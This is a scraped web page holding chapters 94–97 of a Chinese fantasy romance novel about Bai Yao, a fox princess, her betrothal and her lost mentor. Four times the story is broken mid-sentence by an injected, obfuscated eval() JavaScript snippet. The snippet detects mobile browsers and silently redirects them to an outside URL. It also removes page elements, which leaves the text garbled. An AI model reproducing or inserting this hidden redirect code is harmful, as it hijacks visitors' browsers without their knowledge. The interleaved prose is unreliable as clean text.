RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137758|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渊源,这也算是亲上加亲,何乐而不为。 这时候青丘若是拒绝,反倒像是有其他准备,凭空让人多了些猜想。 于青丘而言,似乎没有别的选择。 阿筝不可能出卖公主,于是劝道:“殿下可以以公主尚在外游历为由,将此事往后推一推。神魔大战后天界的动荡尚未平息,也许还有变数也说不定。” 永昭殿下也是这样打算,所以没有急着回答华尧上神。但这件事终究推过了初一没推过十五,期间凝寒的病状迅速恶化,体内的仙力有了消散之象。永照殿下疑心戎族有异数,不得不着手计划带凝寒回戎族一探究竟。一旦前往戎族,恐怕经年累月才能回来。 公主年岁渐长,也是时候继任青丘之主的位子。考虑到她根基不稳,天界又正值动荡时期,与天庭结亲便成了最好的保护伞。再说,若是公主真不喜欢华尧上神,过些年退了这门亲事便是。退婚在天界大大小小匪夷所思的事件中,也委实算不上什么。 于是乎,下一任青丘之主白瑶与天庭上神华尧定下亲事的消息一经传开,天界轰动...... 一年后,公主回宫。 得知公主回来的消息,小公子早早守在宫门边,眼巴巴地望着。远远一个昳丽的身影走来,好像比前些年又高挑了不少。 “琅儿。”公主远远唤道。 许多年未见,小公子已是十岁小儿的模样,容貌上与永昭殿下有三分像,一双深刻的眉眼下神情却有些木讷。 听见公主呼唤他的声音,空洞的目光产生了一丝轻微的波动,像是一潭湖水缓缓地搅动。他望着公主走近的身影,直愣愣地吐出两字:“兔子。” 公主一愣,问道:“什么?” “兔子。”他又呆呆重复了一遍。 “他怎么了……”公主疑惑地望向他身后的侍女。小公子平时神情呆滞,反应极慢,也不爱说话。宫里人对他心照不宣,但不敢多说闲话。 “兔子。”小公子看着她执拗地又重复了一遍。 什么兔子?公主想不明白,不就是只兔子,让人抓来就是。 负责照顾公子的侍女原本是公主殿的,与公主熟识,公主叫她过来:“无恙,找人去宫外给他抓只兔子。” 不久,侍从拎了一只小白兔来到公主殿。兔子小臂长,岁数不大,一双红红的眼睛煞是可爱。 青天白日,公主殿的园内花团锦簇,弥漫着一股淡淡的花香。 公主抱着兔子顺了顺它的毛发,将兔子抱给小公子:“琅儿,这是你要的兔子。” 白琅抬眼漠然望向她,眼中毫无波澜,看她的神色变得有几分陌生。 他伸手抓起兔子的耳朵,眼里闪过一丝不易察觉的阴郁,当着众人的面,啪地一声将兔子狠狠摔在地上,面无表情地说:“不是。” 兔子摔得狠了,两眼一翻昏死过去,将周围的人吓了一跳。 公主心中一惊,不明所以地在宫人身上扫视一圈,宫人垂头避开她的眼神,唯唯诺诺地站在一起。 公主狠狠瞪了他们一眼,转头去安抚小公子:“不是这种兔子吗?你想要什么样的,姐姐去给你找?” 小公子看着她,眼里没有一丝起伏:“不要了。” 公主疑惑:“什么?” 他又小声重复了一遍:“不要了。” 95. 第 95 章 与小公子不欢而散,公主察觉出异样,将无恙叫到跟前询问:“琅儿到底是怎么回事?” 无恙与公主年纪相仿,曾侍奉公主多年,对公主和小公子尽心尽力,没有丝毫隐瞒:“近来天界动荡,殿下疲于政务,常常忽略了小公子。宫里有些人猜测,如果当初没有小公子,凝寒将军也许不会受伤,所以......他们说殿下或许是不喜欢小公子的。” 公主倒吸一口气,愤愤骂道:“他们哪来的胆子敢这么说?” 无恙顿了一下,低下头接着说:“当初传这些话的宫人被鸢主子狠狠责罚过后赶出了宫,但小公子可能听到了,之后越发沉默寡言...... “鸢主子警告宫人不准乱说话,后来宫里人见到小公子都不敢说话,甚至绕道而行。” 公主才觉得不妙,没想到她弟弟在宫中的境遇与她全然不同。 “有苏先生呢?他没有照顾琅儿吗?” 无恙与有苏不熟,语气中带着一种疏离的恭敬:“有苏先生不是小公子的教习先生,与小公子相处的时间并不长。而且他近来时常出宫,哪有空管小公子。”公主的眼神黯了几分,心里不是滋味。 阿筝本以为公主回来后会极力反对结亲一事,没想到公主表现得很平静。阿筝有些摸不准她的意思,但看她近来并无不妥,以为她与晏离的事已经翻篇。 又过几年,青丘之主的继位大典定下来,宫里又繁忙起来。长乐宫重新修整了一番,朱红色大门在日光下熠熠生辉,殿内柱子的百兽图腾换了金漆,大殿之上又打造了一把金光闪闪的座椅。 登殿之前,公主需先乘五只瑞兽托起的坐撵在宫外飞行一圈,接受子民观瞻,再下来一路走向宣门殿。 绝无仅有的飞凤冠一戴上,轻盈的流珠在耳侧摇晃。白色霓裙在日光下反射出淡淡金耀,细看才发现白色的布料上绣着浅金色的图案,赫然是一只神态妩媚中又带有威严的狐仙。那图案被日光一照,像是活了起来,狐仙携着狭长的媚眼睥睨众生,散发出一股与生俱来的气势。 公主光洁的脸蛋上打了些胭脂水粉,平日便如出水芙蓉,现在更加娇艳欲滴。公主长大成人,少女的青涩不知何时褪去,身上已经沾染上帝王的气息。 青丘的妖仙原本居住得十分分散,但多年一次的继位大典吸引来了不少人。宫外人头攒动,老老少少伸长脖子眺望,侍卫拦在他们前边。 公主盛装出席,从宽大的坐撵上站起身,俯视她的臣民。 一袭金光环绕的白色霓裳将她衬得不可方物,繁琐的飞凤冠与流珠更加突显了她身上的贵气。公主张开宽大的云袖,身后耀眼的日光与她身上的金丝交相辉映。气势宏大的声音在身后响起:“今青丘白氏女瑶继任青丘之主,携青丘安宁祥和、万世荣光——” 众妖仙一片惊叹。 阿筝在宫门的另一边观望,只见公主面色无异,但双眸却在人群之中搜寻着什么。她看得很仔细,眉间不自觉微微敛起,眼神既迫切又复杂。阿筝以为自己看错了,再看时公主的眼神已经波澜不惊。 公主在外停留片刻,下撵走回宫中,宫门在眼前慢慢阖上,她忍不住回望了一眼。不知看到了什么,又或是什么也没看见,眼中流露出一丝失望的神色,回过头时又恢复了原本肃然的神情。 她走在红毯之上,一步一步走向宣门殿,眉眼纯净又坚定,仿佛世上没有人能阻拦她。 永昭殿下与青丘身居要职的妖仙皆在大殿上等她,她穿过众人期许的眼神,一步步走至殿上,走到永昭殿下的身边。永昭殿下眼角的严厉在看向公主时闪过一刹那的柔和,她牵起公主的手,带领她走向那个金光灿灿的权力宝座。 殿上一众妖仙俯身作揖,恭贺新王,深沉的声音在殿内回荡久久不息。 。 那庄重的一幕突然化作了漫天蝴蝶纷飞,一晃数年犹如白驹过隙,又仿佛宣纸上的点墨层层晕染。 公主继任后不久,永昭殿下与公子鸢就带着凝寒去寻找戎族的领地,起初还有消息传来,进入戎族后不便联系,于是三人音讯全无。 白瑶处理完政务踏着皎皎月光走出书苑,侍女提着灯笼走在前头。银华如水流淌在她的素色披肩上,她抬起头看着高挂的月梢,眼神深远,仿佛要透过那朦胧的光线将月亮一窥究竟。 清风拂面,远处一抹红色在暗处涌动,白瑶定睛一看,红色缓缓走向灯火前。白琅喜欢穿暗红色的衣服,将他的肤色衬得通透,一双锋利的眉眼此时眼神微动,已经有了些许少年的雏形。 “琅儿,夜深了怎么还没回去。”白瑶微微垂眸,问道:“无恙呢?为什么没有跟着你?” 白琅眼中有了一丝神采:“姐姐......” 白瑶曾听无恙提起过,琅儿时常四处乱跑,一会儿没人守着都不行。这次约莫又是偷偷溜出寝殿。看他的样子应该也说不出个所以然,白瑶上前两步,:“走吧,我送你回去。”她的声音轻而柔,就像夜里舒缓的风。 白琅重重点了点头。 白瑶走在前头,转身的一刹那,带起的衣角像是在白琅的心间留下了一圈波澜,他无意识地又唤了一声:“姐姐......” 白瑶回头浅笑了一下:“怎么?” 白琅咬了下唇,于幽暗处划过一丝狡黠,低头快步跟上。 “今天都学了什么?”白瑶问。 白琅垂着头跟在她身侧:“书......” 小公子的病医仙看了说是神识上有缺损,用了许多办法都不见成效,久而久之白琅还变得愈发敏感。白瑶便没有继续用药,就算琅儿一直这样,她大不了一直守护他。 白瑶花了不少时间陪白琅,也警告了所有宫里人不准对白琅不敬,否则一律重罚赶出宫。白琅的状态渐渐变得正常了一些,现在已经能与人简单交流。 白瑶进一步问:“什么书?”余光期待地看着他。 白琅垂着头,苦恼地想着,说:“......有好多字。” 白瑶顿了一下,早已习惯这种对话,又追问了句:“字都写了些什么?” 白琅沉默了一会儿,小声说:“不认得......” 转过花园,清风送来园中一股桂花的暖香,让人沉醉其中。不远处的公子殿灯火通明,估计是侍从们正在搜寻小公子。 白瑶停下来抓起他的两只手,合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137759|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌拍了拍,真诚地看着他的眼睛:“很多人看完书都不记得里面说了什么,你还记得有不认得的字,已经做的很好了。” 白琅似懂非懂地望着她。 白瑶冲他浅笑了一下:“下次有不认得的,可以去请教先生,也可以来找我。”白琅的教习先生是青丘的一位长老,人是严肃无趣了一些,但经验颇丰。 白琅眨眨眼:“找......姐姐......” 白瑶点点头:“也要找先生。” 白琅摇摇头,不高兴地说:“不要先生......” 白瑶哭笑不得,好像很多年前自己也是如此想法,于是苦口婆心地说:“先生也是为你好,你要和先生好好相处,姐姐才会开心。” 白琅望着她看了一会儿,似乎在思索她说的是什么意思,良久后居然点了点头。 白瑶与华尧上神的婚事定得不明不白,搁置了很长一段时间,随着华尧上神某年突然拜访被打破。 白瑶候在大殿内,就见一风姿飒飒的黑色身影自带一股煞气向她冲来。 许多年不见他,他愈加意气风发,黑色劲装将他高大的身型勾勒得强劲有力,斜飞入鬓的眉、深邃如黑耀的眼睛与深刻的五官,更是让人妒忌这位以武力著称的上神。华尧大步流星地走进殿中,看见大殿上端坐的白瑶时眼睛一亮,微微扬起的唇角立马压下,恢复了严肃俊朗的脸,说:“听到你继位的消息,我来看看。” “你是来向我道喜的?”白瑶的目光下移,在华尧空空如也的手中转了一圈,那眼神仿佛在说你来道喜怎么能不带礼品?就算没有天庭法宝也有金银珠宝吧?啧啧,空手而来脸真大诶...... 华尧蹙眉:“天帝赏赐的宝物我先前提亲时已经送到了长乐宫,你还想要什么?” 白瑶抬眉“哦”了一声,微微耸了下肩,心想那些东西一来就送进了宝库中,她连个影子都没见着真是亏大了。 “你现在看到我了,还有事吗?” 华尧心中不悦,眼睛已经开始冒火:“我远道而来,你就不能好好接待我?这就是青丘的待客之礼?” 白瑶瞥了他一眼,柔软的身体后仰,如柳枝一般慵懒地倚靠在座椅上:“是你先不请自来,根本没给我们时间准备待客之礼。” 华尧敛眉愤然道:“不请自来?你有请过我吗?从定亲之后你有与我往来吗?” 白瑶极是认真地想了想,她回长乐宫之后一面恶补政务知识,一面照顾琅儿,确实没有闲工夫处理自己的私事,对华尧的来信也置之不理。与华尧上神的婚事她没有反对,多少是有点赌气的成分,但究竟要不要嫁,还要走一步看一步。不过样子要装装,不然华尧上神一气之下攻打青丘,她就是青丘的千古罪人了。 白瑶的语气缓和了一些,解释道:“我刚继任,青丘的大小事务都处理不过来,哪还有时间顾及私事?亲事的细节还是等些年再商榷。” 华尧见白瑶示弱,先前身上散发的不悦渐渐消退,目光灼灼地望着她,道:“成婚后,我可以名正言顺地帮你。” 白瑶抬眉道:“怎么帮?天帝会放人吗?还是说天庭战神迫不及待想要嫁进青丘?” 96. 第 96 章 华尧身上的煞气又涌了上来,皱眉厉声道:“你能不能好好说话。” “呵。”白瑶冷笑一声:“我要好好说话还能被你缠上?” 锋利的眉眼瞪着白瑶:“天庭的事由我来处理。婚期定在什么时候?” 白瑶看了他一会儿,然后噗嗤一声笑出来:“华尧上神,你该不会真的喜欢我喜欢得不行了吧?” 华尧“嘁”了一声,撇开眼,“谁喜欢你......我只是想快点结束这件事。” “我真没想到......”华尧垂眸沉声道,转而灼灼目光回落到白瑶身上,白瑶一愣。 “没想到你会答应婚事。” 白瑶轻笑一下,笑容夹杂着几分意味不明的苦涩,又收拢了神情,捋了捋垂在胸前的发梢,不在意地说:“八字还没一撇的事,急什么。” 华尧上前半步,眼睛牢牢盯着她:“不,你答应了就没有反悔的余地。” 一个想要快点结束,一个想要能拖就拖,两人“各怀鬼胎”,在几个回合的交战后最终将所谓的婚期定在了两万年后...... 华尧上神一出大殿,白瑶在座椅上笑得人仰马翻。华尧性格刚硬直接,偏偏白瑶最喜欢换着法子耍无赖,两人待在一起就没有安宁的时候。 笑声渐消,空荡荡的大殿沉寂下来。 两万年。 不远了。 白瑶躺在椅子上,望着大殿上的琉璃瓦,陷入深思...... 阿筝守在殿外,远远探头想看看华尧上神什么模样。 就见长相俊俏的华尧上神怒气冲冲地走出殿外,一路疾走甩开了侍奉的宫人,快出宫门时脸上居然浮现了一股淡淡笑意。阿筝摇摇头,看来华尧上神真的对殿下上了心。 晚风醉人,轻轻摇晃树梢。半夜阿筝被窗外微弱的亮光扰醒,披着外袍出门查看。后花园中,传来窸窣的声音,他一路寻声而去。刚踏入园中,便有一物砸在他脚边。他就着微光一看,是个碎裂的酒杯,浓烈的酒香从洒出的液体中飘散。 大半夜什么人敢在园中喝酒? “滚出去!”突然一声暴喝在空中炸裂。 阿筝浑身一颤,这个声音居然是殿下? “不是说了不准人进来吗......”白瑶的声音听起来十分恼火。 为何白瑶夜里在此喝酒?阿筝犹豫了一会儿,不顾白瑶的怒意,走上前查看。 远处的灯火忽明忽暗,白瑶半身趴在园中的石桌上,脚下躺着几坛小酒,怀里还圈着几只酒杯。酒气浓烈,好像整个人掉进了酒缸一样。白瑶转过头,迷迷糊糊地看了他一眼,微微皱了一下眉,眼眶通红。 阿筝心里突然像被针刺了一下,两只脚僵在原地,许久才找回自己的声音。 “殿下......您怎么了......” 白瑶迷糊地摇了摇脑袋,突然咧嘴一笑:“原来是有苏先生哈哈哈哈哈。你也来喝酒吗?” 阿筝撩起衣袍坐在她对面,给自己也斟了一杯。他看了一眼杯中清冽的酒水,在白瑶的注视下一饮而尽。 白瑶趴在桌上喃喃:“原来有苏先生也会喝酒......所有人都会,就他不会。” 阿筝的手一顿,问道:“谁?” 白瑶重重喘了口气,一股酒气扑面而来。 “就是那个冷面冰山师父......”她抬起头哀嚎一声,又倒下去砸在石桌上,阿筝怕凹凸不平的地方刮伤她,伸手托住她的头。 “你与晏离......”发生了什么,你才会放下一切回宫,还答应了华尧上神的婚事。 白瑶趴在桌上摸索到杯子,仰头倒了倒,眼中闪着水光:“晏离?他可能从来都不喜欢我吧......” 阿筝劝道:“没有人会不喜欢殿下的。” 白瑶侧头望了他一会儿,小声说:“不,他不喜欢。他亲口说的。” 阿筝执酒杯的手一顿,有些不确定地问:“他亲口说的?”晏离冷若寒霜,不可能突然对她说这样的话,一定发生了别的事。 白瑶点点头,将酒杯重重搁在桌上,目光在杯中的倒映久久停留。 “我不知道......他大概是忍我很久,忍无可忍了吧......”尾音带着哭腔。 晏离是孤高的白莲,不会为了别人一忍再忍,也不会忍耐了很长时间突然反抗,他甚至比白瑶更加自恃甚高、目中无人。 阿筝反倒觉得晏离的转变或许是件好事,但看到白瑶欲哭无泪的样子,又有些迟疑。 “在此之前,殿下做了什么?” 白瑶抬头仰望星空,繁星绚烂得刺眼,她眯起眼睛说:“呵呵,我做过的混账事可太多了,哪一件他都不喜欢。我离开他最好了,现在他就能自由了......”说着又倒了一杯。 阿筝夺过她的杯子:“殿下,别喝了。” 白瑶紧紧抓着杯子不松手,争执间酒水洒在了阿筝的袖子上,白瑶嘟囔着:“我就要喝。现在没人能管我,我也自由了......” 阿筝最终还是抢过了杯子,白瑶醉得神志不清,窝在他怀里:“那天他都没来看我,他怎么那么狠的心......” 白瑶将头埋进阿筝的怀里,带着浓浓鼻音,闷声说:“我忍不住给他写了封信,想让他来看看我,但是他拒绝了......他是真的再也不想见我了。” 她红着脸浑身滚烫,眼睛慢慢阖上,还小声喃喃:“我不要晏离了,我要华尧。华尧喜欢我。” 阿筝头疼地附和她:“好好好,你醒来后想要谁要谁。” 白瑶彻底昏睡过去,阿筝唤来几名侍女,将白瑶护送回寝宫。 寝宫灯火阑珊,阿筝在殿外遥望着屋内透出的光线,思绪万千。华尧上神从身份地位、样貌能力都与殿下相配,这门亲事可以说羡煞旁人,但殿下明显心思还在晏离身上,这样下去真的好吗? 阿筝一路凝眉走回偏院,忽然感觉树丛后有细微的动静,心中一惊,赶忙上前。幽暗的树荫下,红衣裹着一张略显呆滞的脸,从树丛中探出来,怯生生地望着他。 “小公子,你怎么在这里......”阿筝环顾四周,没有侍从的人影,难道他是自己跑出来的? 白琅躲在树丛中,看着阿筝:“姐姐......” 阿筝俯下身,伸出手:“小公子,夜深了,回去休息吧。” 白琅兴许是困了,眼睛似乎有些迷瞪,瞅了瞅阿筝的手掌,又抬起头看看他的眼睛,慢慢伸出手......阿筝将他从树丛里拉出来,他跌跌撞撞地向公子殿跑去。阿筝跟在他身后,一直到目送他迈进院门,隐隐约约听到,小公子口中断断续续地念叨:“姐姐,要走了......” 那之后小公子的病状时好时坏,好的时候能说出一段完整的句子,将白瑶高兴坏了。不好的时候,又陷入一言不发的境地,谁也无法将他唤醒。 不久,阿筝收到了一封来自魔域的密信,现任魔域之主兰渊邀请故人叙旧。他与兰渊素未谋面,不知兰渊从何知道自己,也不知他是否知道自己是华胥族的后人,但因着与他父亲和叔叔都有过交情,阿筝未做多想便去了。 魔宫色泽暗沉,一条雕刻着图腾的大道通向大殿,路上立着两柱顶天立地的华表,华表上却不是祥云而是凶恶的魔兽。大殿亦是笼罩在一片昏沉之中,琉璃瓦像片片黑色羽毛,两侧燃起的火烛就像凶兽的眼睛。 兰渊站在宫外相迎,邀请他进殿内详谈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137760|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他身着深紫色纹金华服、头戴墨冠,一边耳骨上缀着银饰,衬得他肤白如雪。他的长相与他叔叔兰阙有些挂相,但气质上却不似兰阙的温润,年纪轻轻,不经意间流露出一丝古怪的阴柔。 看着他阿筝不免有些疑惑,兰渊笑着解释道:“小时候遇见了一位古怪的叔叔,与他相处的时间长了,变得同他有些相似,改不过来了。” 阿筝点点头,若是还有朋友陪伴在身边,或许日子会好过一些。 兰渊沉默半晌,眼角带笑说:“他失踪很多年了。” 兰渊失去了所有的亲人,年纪尚小就要在动荡的天界独自坚守衰落的魔域。他虽然在笑,但眼底却一片凉薄,或许是他的境遇让阿筝有些同情,虽然两人并不熟稔,但阿筝却想要安慰他几句。 不过话到嘴边却无从说起,此时旁的人多说什么都是徒增负担,于是他只道:“节哀。” 兰渊眼波微动,捋了捋一侧的长发,状似潇洒地笑道:“都过去了。” 两人谈起兰阙过往的事迹,不免唏嘘一番。 在先主兰霄的带领下,魔域从远古混乱无序的状态中解脱出来,将荒芜的大地一点一点铺上花草与人烟。而兰阙,作为一代魔域之主,在位时间虽然不长,但他治理有方,在散乱的魔族中逐渐建立起了群体秩序,大大加快了魔域的发展。但魔域依然还存在许多历史遗留问题,譬如说许多游离在族群之外的魔物不受约束,在天界各处继续闯祸...... 融融火光摇曳,阿筝只觉神思恍惚,头脑昏昏沉沉,眼皮越来越重。忽然一声鸡鸣,他一个哆嗦直起身子,四处望望,发现天色已经泛白。 “先生,先生......”兰渊依旧坐在堂上,稍显关切地望着他:“您刚才打盹儿了,我看您太累,就没有叫醒。” 阿筝扶额:“无事。可能是我年纪大了。” 兰渊抿嘴一笑,眼角的媚意更甚:“先生说笑。”忽而眼神中露出些意味不明的神情,垂眸道:“好多年没人同我促膝而谈,先生若不嫌弃,能否在魔域多留两日。” 阿筝有些为难,长乐宫离开几日需要提前知会,他若是晚回几日,白瑶怕是会追问。 兰渊看出他纠结,眼中有些遗憾地笑道:“是我唐突了,先生有事务在身,自然不能在外多留。” 阿筝回青丘前,绕道去了先前与兰阙对饮的亭子。数百年过去,亭前兰花开的清新优雅,背后泉眼咕咚,就连那块历经千百年洗刷的岩石也依旧坚/挺地立在池边。 阿筝在亭前停留了一会儿,没有进去。 若要说阿筝此生最后悔的事,便是那一趟魔域之行。 在往后无数个苍凉孤寂的夜里,他不断想要阻止过去的自己,但却一次又一次回到原地。他站在一片狼藉的长乐宫前无力地颤抖,刺骨的寒冷与撕心裂肺的恐惧,伴随着微弱的呼吸如猛烈的潮水贯入全身。 长乐宫恢弘的建筑付之一炬,化作灰烬,满地残渣碎片,几乎没有一块成形的物体。风卷砂砾,尘土扑面,模糊眼前的残景。 阿筝踉跄地走到原本的寝宫前,脚踩在锋利的石砬上,好似刀割在心上。他垂下眼眸不忍细看,牙齿不住颤抖,细密的汗珠一颗一颗从下颚滑落。头顶的日晕好似巨大的圆盘快要将他吞没,他眯着眼,耳边传来不断嗡鸣。 “殿下......” 他张了张嘴,吸入的尘土呛得他跪倒在地。撑在土石上的手掌,沾满了浑浊的血泥,刺鼻的气味涌上头顶。 殿下......殿下呢? 他的眼前浮现一个小姑娘的身影,还是许多年前尚未离开长乐宫时的模样。她扎着两只向上翘起的辫子,抱着花球,微笑地看着阿筝,眼里泛着无可奈何的悲凉。 97. 第 97 章 阿筝喉头一哽,膝盖向前挪了两步,伸手去抓...... 忽而风卷尘飞,眼前只有荒芜的废墟与破碎的梦境。 阿筝垂下头,身体一动不动,如同被掏空的稻草人一般。 不知过了多久,日晖掩去,面前突然浮现一片阴影。他呼吸一顿,小心翼翼地抬起头,眯着眼睛仔细看向来人。暗红色的衣摆比往日更加深沉,白琅双眼空洞地站在他面前,一头青丝披散在身后,身上、脸上沾满了污迹。 阿筝突然大喘一口气,但内心的挤压感并没有随之消退,他一把抓住白琅的袖子:“小公子,小公子......”目光在白琅两眼之间逡巡,试图找到一点点希冀,话到嘴边却迟迟不敢问出口。 白琅垂下眼眸,目光淡淡落在他脸上,似乎在等他的下文。 须臾,阿筝松开手,跌坐回地上,颤抖地问:“小公子,殿下呢......” 白琅神情恍惚,脸上似笑非笑,眼眶渐渐红了起来。远处巍巍高山倒映在他的瞳孔,他轻声道:“去山里了。” 阿筝愣了好一会儿,心里突然猛地一抽:“你说什么?她去哪儿了?” 身旁传来窸窸窣窣的声音,阿筝转过头,来者是左相施未羽,身后跟着几名侍从。 阿筝与左相有过点头之交,施未羽其人虽然看上去古板,但行事稳重,经验丰富,是青丘当之不愧的元老。阿筝慌忙起身,顾不得此时的狼狈,像是溺水之人抓到了救命稻草一般上前:“左相。殿下在哪里?” 施未羽板着脸打量了下阿筝:“你出宫去了哪里?所为何事?” 阿筝倒吸一口气,隐隐觉得有些不对:“故人相邀,有苏不敢拒绝,故离开一日一夜。但此事已向殿下报备,断无半句虚言。” 施未羽凝眉,抬手屏退身后之人:“殿下虽然受了些伤,但已送去万灵洞调养。这次天火来袭青丘损失惨重,对外不可声张,就说殿下闭关修行。” 万灵洞内聚集着许多千万年修炼而成的灵体,具有强大的治愈之力,是青丘的疗养圣地。 “天火......”阿筝不敢相信,为什么这等天灾会降临在长乐宫。 施未羽多看了他几眼,眼中藏着细究:“青丘政务由我与右相暂时代为接管,这块地方招来天火已是不祥,我会命人择一块风水宝地重建长乐宫。” 施未羽目光遥遥落在不远处的小公子身上:“殿下受伤,小公子的侍女又在大火中丧生,对他的病怕是不妙。” 阿筝一顿:“你是说无恙她......”虽然阿筝与宫内的侍女相交甚少,但无恙曾是公主身边的人,与他见过数次。阿筝心里的凝重又翻涌上来,殿下虽逃过一劫,但宫里的侍从伤亡惨重。无数在过去千百年间熟悉又陌生的面孔化作一道虚影,生命之花还未来得及绽放就猝然凋落。 命运给予他一次又一次沉重的打击,而他在不断沉浮之中明白了自己毫无招架之力。 阿筝站在荒凉的废墟上,脚下是曾经辉煌又热闹的宫殿。他想起初入宫时看见房檐上停着一只歇脚的燕子,忽然展开双翅向遥远的天际飞去。 新宫殿很快建起来,或许是因为这场突如其来的灾难,白琅突然清醒了许多,眼神渐渐恢复了正常的清明。 阿筝安顿好白琅之后,马不停蹄地赶往万灵洞。万灵洞是青丘圣地,一般人无法靠近,阿筝在结界外徘徊许久,终究没有办法见到殿下。 没见到殿下,倒是意外看见了另一个彷徨的影子。 影子像一座冰雕似的伫立在结界前,冷淡地看了他一眼,眼神冰冷如寒霜。 阿筝心里涌出一股异样的情绪,凝视他许久,上前问道:“你来做什么?” 晏离直视前方,眼底像是结了一层厚厚的冰,没有一丝波动。 阿筝深吸一口气:“你若是对殿下无意,就别再叨扰她。” 晏离眼神一动,轻声道:“叨扰她?” 阿筝不悦:“我知道是殿下一厢情愿,既然你们已经坦白,就好聚好散。或许千万年后,她还会尊称你一声师父。” 晏离神色无异,但阿筝莫名感到一股失望之意,再细究时已经消失。晏离平静地望着结界,过了良久,才平淡地问道:“她说了什么。” 殿下那夜醉酒那么伤心,阿筝看在眼里疼在心里,对这位友人多少有了几分偏见,自然不会出卖殿下。 但晏离为何会出现在这里?难道他对殿下也是关心的吗?不,不对,那日殿下继位大典,如此重要的时刻他都没有露面,现在关心又有何用? 阿筝神色复杂地盯着他说:“她说她不要你了,她要华尧。” 话音一落,阿筝有一瞬间出现了幻觉,那张白净冰封的脸上好像猛然换了几种色彩,但仔细一看,他的脸色更加苍白了。 阿筝知道自己刚才那句话不妥当,但晏离此刻的神情却让他产生疑惑,好像他刚才说的不过是“晚上吃了什么”这样稀松平常的事情。 晏离当真表里如一、心如寒冰,对殿下毫不关心,甚至连长久的师徒之情都没有? 阿筝失望至极,对晏离往日的欣赏消失殆尽。他的声音冷淡下来:“你当真对殿下一点感情都没有?” 山里的风忽而从两人之间穿过,卷起脚边的尘埃与落叶,轻轻拂动两人的衣摆,好似曾经某个小姑娘撒娇时会做的动作,如今再也不会有了。晏离散落的青丝飘向唇边,他肉色的双唇微微嚅动,平淡地说:“阿筝......何必......” 阿筝一怔,垂下头握了握拳,卸下一口气:“你好自为之。”然后拂袖离开。 那之后晏离消失了很长一段时间,再见到他时又是另一番景象。 很多年后,阿筝回忆起这短暂的谈话,或许当年他对晏离是有所误解的。他以为晏离口中的“何必”是何必多问,何必多说,何必深究,免得自取其辱。 但这两个字包含的深意也许远不止如此 白瑶在万灵洞中休养近三百年,回宫那日没有声张。三百年未见,阿筝与白琅在宫门口相迎,白琅的个子超过了阿筝,身上稚气未褪,但面容棱角初现。 她从天而降,像一团柔软的云朵飘落,一步一步走来像是踏在他心尖上,让他沉寂多年的心渐渐醒来。她对两人微微一笑,笑意浅淡,却有说不出的光华笼罩在身上。 阿筝走上前几步,细细打量了一会儿,悬在心中几百年的石头终于落了地。 “殿下,你能安然无事真是......真是太好了......” 白琅抱着双臂在阿筝身后扯了扯嘴角,深深看了白瑶一眼,没有出声。 白瑶用余光瞥了白琅一眼,上前拉着阿筝的袖子,撒娇似的说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137761|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“有苏先生,我好想念你做的点心。” 阿筝当然提前做了准备,但此时故意说:“只想念点心,就没想过我?” 白瑶眼波一荡,抿嘴笑道:“当然想,点心谁都可以做,但只有有苏先生做的点心能让我心心念念。” 阿筝微笑着点了点头:“你爱吃的东西我都准备好了,过会儿就叫人送来。” 白瑶侧身笑着看了眼白琅:“琅儿,怎么不叫人?” 白琅与先前的样子大为不同,幽深的目光在白瑶身上静静停留了半晌,才勾起唇角:“姐姐?” 白瑶只道琅儿与常人不同,叹了口气,与阿筝往宫内走去。宫里的侍人几乎全部换新,新的侍女为白瑶介绍宫中的一切,反倒她像是个客人。 阿筝做了几种点心,白瑶每样尝了几口,对荷花酥情有独钟,倒是对儿时喜欢的芙蓉酥没有多大兴趣。 夜里阿筝坐在园中赏月,华胥族灭亡之后他就不敢看月亮,他害怕看到月亮的阴晴圆缺,如同害怕世事无常。如今殿下回宫,月亮又圆,无可奈何的事情终究都过去了。 微光点亮的园中,忽然一抹鲜亮的白色出现,清新狡黠的身影泛着点点莹光,阿筝起身作揖:“殿下。” 白瑶看到他,眸光似水波动,说道:“有苏先生不必见外。”施施然坐在了石桌一侧。 阿筝点点头,撩起衣摆坐下。 白瑶淡笑着看他,问道:“这些年过的怎么样?”好似一位多年未见的老友。 